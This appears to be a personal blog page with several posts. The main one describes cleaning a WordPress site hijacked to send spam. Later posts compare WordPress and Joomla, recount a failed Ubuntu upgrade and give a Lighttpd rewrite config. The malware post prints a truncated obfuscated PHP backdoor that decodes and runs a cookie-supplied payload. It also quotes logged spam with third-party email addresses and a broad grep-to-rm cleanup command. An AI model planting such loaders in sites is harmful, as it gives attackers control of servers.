WordPress Hacked To Send Spam Emails

My website has been under attack by spammer for a while, I am not sure when it started, but it has been a couple of months. Due to work and family, I have never got a chance to have a look for the cause and solution until now.

Basically what happened was that my postfix mail server kept sending tens of thousands of emails. And possibly due to this, my server has been blocked by Google and all those emails were rejected and got connect timeout to Gmail server, see below in the /var/log/syslog messages:

....
Jan 1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: connect to mx.vgs.untd.com[64.136.52.37]:25: Connection timed out
Jan 1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: BA77C42589: to=<randj152@netzero.com>, relay=none, delay=650, delays=589/0.08/61/0, dsn=4.4.1, status=deferred (connect to mx.vgs.untd.com[64.136.52.37
]:25: Connection timed out)
Jan 1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8202]: connect to mta7.am0.yahoodns.net[98.137.159.24]:25: Connection timed out
Jan 1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: connect to mail20.voith.com[193.169.205.223]:25: Connection timed out
Jan 1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: 12C75425D2: to=<gerald.franke@ditis.de>, relay=none, delay=449, delays=388/0/61/0, dsn=4.4.1, status=deferred (connect to mail20.voith.com[193.169.205.
223]:25: Connection timed out)
Jan 1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: connect to smtpin01.mc.a.cloudfilter.net[52.204.45.50]:25: Connection timed out
Jan 1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: A893942583: to=<garylmiller@mchsi.com>, relay=none, delay=650, delays=589/0.1/61/0, dsn=4.4.1, status=deferred (connect to smtpin01.mc.a.cloudfilter.ne
t[52.204.45.50]:25: Connection timed out)
Jan 1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8199]: connect to mx2.earthlink.net[209.86.93.227]:25: Connection timed out
Jan 1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8186]: connect to mail.thunderworx.net[217.27.32.193]:25: Connection timed out
Jan 1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: connect to mx-b.ktk.de[82.115.96.243]:25: Connection timed out
Jan 1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: D2322425C2: to=<carsten.leonhardt@rz-online.de>, relay=none, delay=451, delays=388/0.08/63/0, dsn=4.4.1, status=deferred (connect to mx-b.ktk.de[82.115
.96.243]:25: Connection timed out)
Jan 1 04:06:28 xx-xxx-xxx-xxx postfix/smtp[7767]: connect to cax.virusfree.cz[31.7.241.25]:25: Connection timed out
Jan 1 04:06:30 xx-xxx-xxx-xxx postfix/smtp[8198]: connect to rpi0i001.laposte.fr[178.213.67.9]:25: Connection timed out
Jan 1 04:06:35 xx-xxx-xxx-xxx postfix/smtp[8186]: C09304258C: to=<chrioannouresta@primehome.com>, relay=mail-mx100.thunderworx.net[217.27.32.90]:25, delay=660, delays=589/0.08/67/3.1, dsn=5.0.0, status
=bounced (host mail-mx100.thunderworx.net[217.27.32.90] said: 550-Verification failed for <jayden.w@blog.ericlin.me> 550-Called: 74.125.206.26 550-Sent: RCPT TO:<jayden.w@blog.ericlin.me> 550-Respon
se: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-550-5.1.1 double-checking the recipient's email address for typos or 550-550-5.1.1 unnecessary spaces. Learn more at
550-550 5.1.1 https://support.google.com/mail/?p=NoSuchUser e193si20747180wmf.133 - gsmtp 550 Sender verify failed (in reply to RCPT TO command))
Jan 1 04:06:35 xx-xxx-xxx-xxx postfix/cleanup[8206]: C2889426F7: message-id=<20180101040635.C2889426F7@xx-xxx-xxx-xxx.ap-southeast-2.compute.internal>
Jan 1 04:06:35 xx-xxx-xxx-xxx postfix/bounce[8410]: C09304258C: sender non-delivery notification: C2889426F7
Jan 1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C2889426F7: from=<>, size=5065, nrcpt=1 (queue active)
Jan 1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C09304258C: removed
.......

I tried to search on Google and it turned out that my blog powered by WordPress was infected with malware and it keeps sending out emails. Google suggested that we can do a search based on function “base64_decode”, which is common function used by spammer’s scripts to do such jobs. So I did the search and it turned out that there were lots of such files under my WordPress installation directory:

ericlin@localhost: $ sudo grep -ri 'base64_decode' * | grep create_function
wp-admin/css/lfiendwt.php: $_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-admin/images/uczftagb.php: $_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
wp-content/plugins/wp-connect/rbvphaub.php: $_afchu = create_function ('$bbmmqr', afchu (base64_decode (
wp-content/plugins/googleanalytics/wrhnumao.php: $_aparnlc = create_function ('$ezkeul', aparnlc (base64_decode (
wp-content/themes/alexandria/qkvejyid.php: $_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-content/plugins/wp-connect/hzrttagh.php: $_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/rest-api/fields/aokjutfe.php: $_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-includes/Requests/Exception/umbiwtox.php: $_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/SimplePie/HTTP/ljwvhrtn.php: $_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/rest-api/blimaumt.php: $_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Text/Diff/htzqhesw.php: $_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/images/smilies/xraatxme.php: $_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-includes/Requests/Response/tlpeqczj.php: $_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Requests/Cookie/dnwuvidm.php: $_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/SimplePie/Parse/rnylhylq.php: $_dempkwj = create_function ('$dgeirfu', dempkwj (base64_decode (
wp-includes/SimplePie/XML/qmnfjezi.php: $_esufzf = create_function ('$mcxgan', esufzf (base64_decode (
.......

The content of those files looks something like below:

<?php

$majsvj =
'cmQ9aXMtYXJyJzokb2RlIEVPJHZhJiYkXXswaWYoUkVBLlswSU5VZW5hQXJydWJsaXM'.
'tcmV0aW9udCgkaHVuZW5zbiIpPmhlaG9zYXRjKCdTbXM7OGJpeVsxbGljYXJ0bGwsZW'.
'QgJ3BjdW5kO2lmYW1lLDI1KCRhOV0pKCRwRXJyZywkPjpbcmlucmVwO31mLT52ZX19X'.
'Xsxc2V7dGVjLT5EdGY4cm90MF0sPWV4Z2U7cGxhbWU9J1hPcigkbVJlYyAkdGlvKTsk'.
'O31ycm4gLjAufWlmdGhpMSkkZ2ljTV9DdWJsb3N0Z25lWzBdcigpaWVucnJvNjF9fX1'.
.......
'pLG51JztwaW4sc2VsY29kPlxcMSkoaW5faXNwaztjb25ueV9waWMgbnVsaz0w';

$_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
'XUUCVBMZGBNODVpVTQdBTQFSSwdUBjldBFBcXAMZFRAfawhhfW4AVzc6BQByJiM0OXZ'.
'qKzZwDVY1YgNyIW5gYX1iNXJxaldXJypmdHEkUQEsdk8zM2cOaDBlZl8CanNIfmFTen'.
'h4ZXo2MF9eYzA2HSpxCVI0dyRBIHZlSwB+Y1RcdgtqZWFiZSwjU3B+ORkNKHZtOzdkN'.
'2sFdkt6JWpeXFp2MXZ+fnFQNyVmf3gwBiQHdW0sIGBWVih0dmEzfFlLYnYIXHFjSGUs'.
'NWJ3eCRRFgBifRY2elZjNntiVzBrZ3J+awt2aXhydjU2WHBlM1EzOXBQCQZzN04nZkR'.
.......
'xZcDF1UXFyZSo0XFlvMCQoAGZ6IzN0HmsidFRPMGtkcl1iUmJ8eEcHNTZYQnQwJzwsZ'.
'lU4MGowTQJxAggyfGdqemdTS2N8ZVskJQRneSdQJClwbicHZFZeKHZEBVseHBQYFzx7'.
'fHZ7eiNCb0JBEz4XBkNUAwFXTh5PFB8YQWYSFBgXPGt2a2Z2NDkTeWE1MTorfGs2RW9'.
'PZEgaGg=='
), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_ondxf($hkkcxn);

function ondxf ($fnjkaz, $gifntn) { return $fnjkaz ^ str_repeat ($gifntn, ceil (strlen ($fnjkaz) / strlen ($gifntn))); }

To fix the issue, I just needed to remove those files. I ran below command:

sudo grep -ri 'base64_decode' * | grep create_function | cut -d ":" -f 1 | xargs sudo rm -f

The file contents might be different, so it is best to scan through the files and check if there is any file with random names like the list I had above.

Once all the files are cleaned, I also needed to delete all the queues in the postfix so that the log files would not be kept flooded:

# Delete all queued mail
sudo postsuper -d ALL

# Delete differed mail queue messages - the ones the system intends to retry later
sudo postsuper -d ALL deferred

Then restart postfix server:

sudo service postfix restart

If for some reason the emails keep coming back, by using “mailq” to check:

mailq

-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
5C98D675BB* 1659 Mon Nov 6 02:31:30 info@arbeitsagentur.de
cathrine.huth@t-online.de

401A1665FD* 1659 Wed Nov 8 03:01:37 info@arbeitsagentur.de
horstauerbach@aol.com

702DD66A51* 1709 Tue Nov 7 01:56:54 jobs@arbeitsagentur.de
d.ahmadyassin@yahoo.com

You will need to check the details of each email and see where is the source of the script that created the email:

postcat -vq 5C98D675BB

The output looks like below:

*** ENVELOPE RECORDS deferred/8/8FD2542696 ***
message_size: 1816 203 1 0 1816 0
message_arrival_time: Mon Jan 1 04:03:49 2018
create_time: Mon Jan 1 04:03:49 2018
named_attribute: rewrite_context=local
sender_fullname: www-data
sender: corazana.a@blog.ericlin.me
*** MESSAGE CONTENTS deferred/8/8FD2542696 ***
regular_text: Received: by xx-xxx-xxx-xxx.ap-southeast-2.compute.internal (Postfix, from userid 33)
regular_text: id 8FD2542696; Mon, 1 Jan 2018 04:03:49 +0000 (UTC)
regular_text: To: jmprevenga@telefonica.net
regular_text: Subject: =?utf-8?Q?Quieres_pasar_la_Navidad_en_compa=C3=B1=C3=ADa_de_la_morena=3F?=
regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code
regular_text: Date: Mon, 1 Jan 2018 04:03:49 +0000
regular_text: From: "Corazana A." <corazana.a@blog.ericlin.me>
regular_text: Message-ID: <f5cf2b20105dcc13231bd56f3d95f21e@blog.ericlin.me>
regular_text: X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer)
regular_text: MIME-Version: 1.0
regular_text: Content-Type: multipart/alternative;
regular_text: boundary="b1_f5cf2b20105dcc13231bd56f3d95f21e"
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: This is a multi-part message in MIME format.
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/plain; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: Conoceré con el chico para sexo.
regular_text:
regular_text: Está dispuesta a formar la compañía para la Navidad!
regular_text:
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.
regular_text:
regular_text: { http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1 } Mi formulario está sólo aquí!
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/html; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text:regular_text:
regular_text: Conoceré con el chico para sexo.
regular_text:
regular_text: Está dispuesta a formar la compañía para la Navidad!
regular_text:
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.
regular_text:
regular_text: <a href="http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1">Mi formulario está sólo aquí!</a>
regular_text:regular_text:
regular_text:
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e--
regular_text:
*** HEADER EXTRACTED deferred/8/8FD2542696 ***
named_attribute: encoding=8bit
named_attribute: dsn_orig_rcpt=rfc822;jmprevenga@telefonica.net
original_recipient: jmprevenga@telefonica.net
recipient: jmprevenga@telefonica.net
*** MESSAGE FILE END deferred/8/8FD2542696 ***

Look for the following line:

regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code

You can see that the email was generated by script rooguols.php. Search for this file in the WordPress directory and remove it. Repeat the process until all files are identified.

Watch the output of “mailq” to make sure that no emails will be generated again.

Hopefully this will also help with anyone who has the same issue as mine on WordPress blog server.

Update (21st of August, 2018):

The better solution, however, is to use WP Mail SMTP WordPress plugin, which allows you to use Gmail as a proxy to send emails. This will remove the dependency on Postfix that you need to maintain. After setting up the plugin, I have removed Postfix on my server and no further issues detected.

WordPress vs Joomla 2013 [INFOGRAPHIC]

I have tried both WordPress & Joomla before when I was trying to learn the new CMSes several years ago. My very first impression was that WordPress was so easy to pick up straightaway without getting too much detail, however, Joomla was totally the opposite. It was really hard to understand and it took lots of steps to get one page setup.

A few years has passed and I am stick with WordPress. It works great and meets all my needs, so I have not re-tried with Joomla since then. Red Giant Design has kindly produced an infographic compare those two CMSes in detail. And again, it proved my original theory / experience.

WordPress v Joomla - Infographic by Red Giant Design

I have also tried Drupal recently and found that it is quite easy to use and learn. And I am currently building a website for my friend using Drupal. From my personal point of view, WordPress is great for personal blog, while Drupal & Joomla are designed mainly for building business / commercial website using CMS tools.

I hope they (Red Giant Design) can produce another infographic detail the differences between the three would be awesome.

Keep up the good work!

 

Server Is Up & Running Again

Last weekend I was trying to upgrade my server from Ubuntu Jaunty to Karmic Koala. I followed a tutorial found on Google and the installation actually went quite smoothly. In the last step the installation process told me the upgrade was completed and asked me to reboot the server. However, I waited minutes, hours and eventually days after the reboot, but the server never came back online. This server host all of my blogs as well as my subversion server for the project I am currently working on that was migrated from BitBucket.org.

I fired support ticket to my host provider and they spent around 2-3 days and eventually told me that there was some package installed by mistake during the upgrade and they could not recover my server. The only option I had was to re-install the whole OS and start from scratch.

Oh dear, what a shame. Luckily I have backed up all my blog database, images and project files. All I need to do was to spend sometime to re-install latest Ubuntu server again and reloaded all my blogs and subversion server.

In the last few days I have been setting my “new” server up and now is back online with newest up-to-date Ubuntu server and re-loaded WordPress with my blog database. Subversion is up and running again as well.

From now on, I really need to keep my server up-to-date as often as possible. The real issue from last week was that I could not simply upgrade the server to latest version because the version running on my server was too old and not supported anymore. The tutorial showed me a way to force the upgrade and turned out to be a disaster.

Well, lesson learnt and it is time to move on. I will need to do more to on the “new” server to schedule regular backups, especially my blogs and the subversion server.

URL Rewrite Using Lighttpd

You will need to enable the mod-rewrite in Lighttpd and then open up the file under /etc/lighttpd/lighttpd.conf

$HTTP["host"] =~ "www.asianeric.com" {
  url.rewrite-final = (

    # Exclude some directories from rewriting
    "^/(wp-admin|wp-includes|wp-content)/(.*)" => "$0",

    # Exclude .php files at root from rewriting
    "^/(.*.php)" => "$0",

    # Handle permalinks and feeds
    "^/(.*)$" => "/index.php/$1"
  )
}

This configuration should work well with WordPress installation using permalinks.